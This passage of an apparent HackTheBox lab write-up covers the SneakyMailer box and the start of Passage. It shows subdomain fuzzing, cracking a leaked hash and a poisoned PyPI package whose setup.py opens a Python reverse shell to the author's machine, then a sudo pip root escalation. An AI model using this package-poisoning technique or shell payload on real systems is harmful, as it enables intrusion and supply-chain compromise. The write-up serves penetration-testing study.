leaked information.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0635.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;Hello administrator, I want to change this password for the developer account&lt;/p&gt;&#10;&lt;p&gt;Username: developer&lt;/p&gt;&#10;&lt;p&gt;Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C&lt;/p&gt;&#10;&lt;p&gt;Please notify me when you do it&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;I finally logged in to ftp. This password worked there.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0636.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The first thing I noticed was that this looked like a backup of the website—or perhaps the live web root itself. The earlier email said we needed to develop the contents of the pypi directory, so it was very likely a web directory. I could simply upload a shell.&lt;/p&gt;&#10;&lt;p&gt;But after uploading it, I could not access it, and it was deleted after a while. I tried uploading inside pypi, but that directory completely refused file uploads.&lt;/p&gt;&#10;&lt;p&gt;Further testing suggested that no directory accepted files except dev. Files uploaded there could not be accessed and were deleted.&lt;/p&gt;&#10;&lt;p&gt;My first thought was a race condition, so I tried it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0637.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It did not work.&lt;/p&gt;&#10;&lt;p&gt;I was stuck again. When I inspected the source files on ftp, they could not possibly be the files for the current site. At the very least, index.php differed from the live site&amp;rsquo;s version.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0638.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This content was completely absent, as were several other files.&lt;/p&gt;&#10;&lt;p&gt;I could only interpret it as a backup. But if it was a backup, the configuration files should have contained something. They did not: these php files were pure html front-end code with nothing related to a backend.&lt;/p&gt;&#10;&lt;p&gt;With no way forward, I checked someone else&amp;rsquo;s write-up, which hinted at a subdomain. The path immediately became clear.&lt;/p&gt;&#10;&lt;p&gt;ffuf -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u &lt;a class="link" href="http://10.10.10.197" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.197&lt;/a&gt; -H &amp;ldquo;HOST: FUZZ.sneakycorp.htb&amp;rdquo; -fs 185&lt;/p&gt;&#10;&lt;p&gt;ffuf could brute-force it perfectly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0639.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The result was dev.sneakycorp.htb.&lt;/p&gt;&#10;&lt;p&gt;I added it to hosts.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0640.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Sure enough, this matched the index.php I had just seen.&lt;/p&gt;&#10;&lt;p&gt;The dev directory had actually hinted at it too. In the future, I need to test subdomains with ffuf as soon as I obtain a domain, before moving on.&lt;/p&gt;&#10;&lt;p&gt;I only needed to put the file and visit it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0641.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0642.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I finally obtained a shell.&lt;/p&gt;&#10;&lt;p&gt;I started privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;There were several files in the pypi.sneakycorp.htb directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0643.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The .htpasswd file contained pypi&amp;rsquo;s password hash, which needed to be cracked.&lt;/p&gt;&#10;&lt;p&gt;packages could not be entered except by members of the pypi-pkg group.&lt;/p&gt;&#10;&lt;p&gt;The venv directory was only a virtual-environment configuration with basic files, so it was not very important. I considered the next step.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0644.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was the group file. The pypi-pkg group included the pypi user.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0645.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/&lt;/p&gt;&#10;&lt;p&gt;The objective was now clear: escalate to pypi and inspect the packages directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0646.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://groups.google.com/g/securityfocus2/c/dVILePi_mTE?pli=1" target="_blank" rel="noopener"&#10; &gt;https://groups.google.com/g/securityfocus2/c/dVILePi_mTE?pli=1&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;At first I did not know how to crack it. This post gave me the idea.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0647.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I only needed to specify the file, with no extra operations. Eventually it cracked successfully.&lt;/p&gt;&#10;&lt;p&gt;soufianeelhaoui&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0648.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;As expected, pypi was configured with nologin, so I could not use su.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0649.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0650.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I could not use su to switch to either user with a home directory because the passwords were wrong, and pypi could not log in to ftp either.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0651.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found pypi&amp;rsquo;s site on port 8080 and could access it after adding a hosts entry.&lt;/p&gt;&#10;&lt;p&gt;It reported pypiserver version 1.3.2, and the simple endpoint accepted logins, although there was nothing inside.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0652.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;In other words, pypi was for uploading and maintaining python packages. But why were none of the described options available when I used it? If this was not a framework vulnerability, perhaps I could upload a malicious package. I could not set environment variables in my current context, but when another user imported the package it would cause RCE.&lt;/p&gt;&#10;&lt;p&gt;I had no other ideas and could only assume this needed to be combined with another vulnerability.&lt;/p&gt;&#10;&lt;p&gt;While searching, I noticed that the low user&amp;rsquo;s home contained a venv virtual environment and that we could install packages with pip. That suggested an idea: use pspy32 to see whether there was a scheduled python task. If so, installing a malicious package would escalate privileges.&lt;/p&gt;&#10;&lt;p&gt;I eventually built a package and uploaded it successfully. I consulted many posts, but the two key ones were:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/zjshui/article/details/107973601" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/zjshui/article/details/107973601&lt;/a&gt;&#9;&#9;How to upload to a private repository&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://monsoir.github.io/Notes/Python/upload-pypi.html" target="_blank" rel="noopener"&#10; &gt;https://monsoir.github.io/Notes/Python/upload-pypi.html&lt;/a&gt;&#9;How to build a python package&lt;/p&gt;&#10;&lt;p&gt;Here are my files.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── README.md&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── jsonizer&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ├── __init__.py&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ├── jsonize.py&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── LICENSE.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└── setup.py&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The directory structure was the one shown above, copied from a github project. You can choose any name for your own project.&lt;/p&gt;&#10;&lt;p&gt;I named mine Reverse-Shell-1.1.1.&lt;/p&gt;&#10;&lt;p&gt;So I created a Reverse-Shell-1.1.1 directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0653.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was naturally empty after creation. I entered it and, as required, created the two empty files README.md and LICENSE.txt inside Reverse-Shell-1.1.1.&lt;/p&gt;&#10;&lt;p&gt;Next I created the jsonizer directory, entered it, and made &lt;strong&gt;init&lt;/strong&gt;.py and jsonize.py. &lt;strong&gt;init&lt;/strong&gt;.py could be empty, and so could jsonize.py, although I added an arbitrary print statement.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── README.md&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── jsonizer&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ├── __init__.py&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ├── jsonize.py&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── LICENSE.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;That was the current structure. Only setup.py remained.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;from setuptools import setup, find_packages&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setup(&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; name=&amp;#39;Reverse-Shell&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; version=&amp;#39;1.1.1&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; keywords=[&amp;#39;Safari&amp;#39;, &amp;#39;Bookmarks&amp;#39;, &amp;#39;JSON&amp;#39;, &amp;#39;Monsoir&amp;#39;],&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; description=&amp;#39;transform Safari bookmarks export to JSON file&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; license=&amp;#39;MIT License&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; url=&amp;#39;https://github.com/Monsoir/safari-bookmarks-jsonizer&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; author=&amp;#39;Monsoir&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; author_email=&amp;#39;monwingyeung@gmail.com&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; packages=find_packages(),&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; include_package_data=False,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; platforms=[&amp;#34;any&amp;#34;],&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; install_requires=[&amp;#39;beautifulsoup4&amp;#39;],&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; python_requires=&amp;#39;&amp;gt;3.0&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; entry_points={&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;console_scripts&amp;#39;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;jsonize = jsonizer.jsonize:main&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;That completed it. The jsonizer directory did not actually seem necessary. Even if it was, at most it needed an empty py file for the constructor. The package above was recognized, so I left it alone and ran:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python setup.py sdist&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This created a new dist directory in the current directory, containing the packaged tar.gz file. The following command uploaded it.&lt;/p&gt;&#10;&lt;p&gt;The final argument meant to upload the files under dist.&lt;/p&gt;&#10;&lt;p&gt;python -m twine upload &amp;ndash;repository-url &lt;a class="link" href="http://pypi.sneakycorp.htb:8080/" target="_blank" rel="noopener"&#10; &gt;http://pypi.sneakycorp.htb:8080/&lt;/a&gt; dist/*&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0654.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0655.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But the package disappeared soon after being uploaded.&lt;/p&gt;&#10;&lt;p&gt;Remember the pspy32 I uploaded earlier? It was still running on another port.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0656.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That revealed the key detail. The low user extracted the tar archive, ran setup.py with python to install it, and then uninstalled it. The purpose was to test the package. No wonder this user&amp;rsquo;s home contained many packages and a venv virtual environment.&lt;/p&gt;&#10;&lt;p&gt;As I understood it, changing setup.py to contain reverse-shell code would return a shell.&lt;/p&gt;&#10;&lt;p&gt;The path was now completely clear. I extracted the tar archive from dist.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0657.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I modified setup.py and added python reverse-shell code at the beginning.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import socket&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import subprocess&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import pty&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;s.connect((&amp;#34;10.10.16.19&amp;#34;, 6789))&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;s_dup = s.fileno()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;subprocess.call([&amp;#34;/bin/sh&amp;#34;], stdin=s_dup, stdout=s_dup, stderr=s_dup)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Then I repackaged and uploaded it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0658.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got a shell and continued with privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0659.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;sudo -l showed a command. I could simply search for it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Sudo&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TF=$(mktemp -d)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;import os; os.execl(&amp;#39;/bin/sh&amp;#39;, &amp;#39;sh&amp;#39;, &amp;#39;-c&amp;#39;, &amp;#39;sh &amp;lt;$(tty) &amp;gt;$(tty) 2&amp;gt;$(tty)&amp;#39;)&amp;#34; &amp;gt; $TF/setup.py&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo pip install $TF&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Following the method above escalated directly to root.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0660.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done!&lt;/p&gt;&#10;&lt;p&gt;I can only say that this was the hardest box I had completed so far, without exception. It felt like sitting an exam. Including breaks, I spent around 20 hours on it and ended up light-headed. I checked a write-up twice. The first time was because I did not realize I could phish information simply by sending links to other email addresses. That possibility never occurred to me, although the box actually provided many hints. The second time was for the dev subdomain, which genuinely was my mistake. From now on, I will brute-force subdomains before starting each box.&lt;/p&gt;&#10;&lt;p&gt;I learned a great deal and spent the entire time searching google. Asking chatgpt would often have produced better ideas, but oscp does not allow it, so I searched through a huge number of posts.&lt;/p&gt;&#10;&lt;p&gt;This box had an imap service, which I had never used. I installed many programs, none of which worked, and remained stuck until I finally found usable software. Then there was pypi, also my first encounter with it, so naturally it took a long time to learn. Most of my time went into learning pypi. I gained a lot from this box and can already feel the difficulty increasing.&lt;/p&gt;&#10;&lt;p&gt;The 2022 hackthebox linux list has 50 boxes intended for oscp practice. I have now completed 27. After finishing these, I will move on to windows boxes. Once the 2022 list is complete, I will do the newest boxes, followed by oscplabs.&lt;/p&gt;&#10;&lt;h2 id="28passage"&gt;&lt;a href="#28passage" class="header-anchor"&gt;&lt;/a&gt;28.Passage&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0661.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0662.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Port 22 revealed nothing, while any brute force against port 80 immediately resulted in a ban.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.206/index.php?id=11" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.206/index.php?id=11&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This article explained it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0663.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Excessive access would be blocked for two minutes.&lt;/p&gt;&#10;&lt;p&gt;Directory brute-forcing and similar techniques were unusable. I had two ideas.&lt;/p&gt;&#10;&lt;p&gt;The first was to brute-force the site slowly, using a wordlist generated by cewl.&lt;/p&gt;&#10;&lt;p&gt;The second was to test &lt;a class="link" href="http://10.10.10.206/index.php?id=11" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.206/index.php?id=11&lt;/a&gt; for sql injection.&lt;/p&gt;&#10;&lt;p&gt;cewl &lt;a class="link" href="http://10.10.10.206/index.php" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.206/index.php&lt;/a&gt; -w dict.txt&lt;/p&gt;&#10;&lt;p&gt;ffuf -w ./dict.txt -u &lt;a class="link" href="http://10.10.10.206/FUZZ" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.206/FUZZ&lt;/a&gt; -t 1&lt;/p&gt;&#10;&lt;p&gt;I set the thread count to 1 to avoid being banned.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0664.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Before discovering the ban behavior, directory brute force had found new.php.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0665.zh.webp" 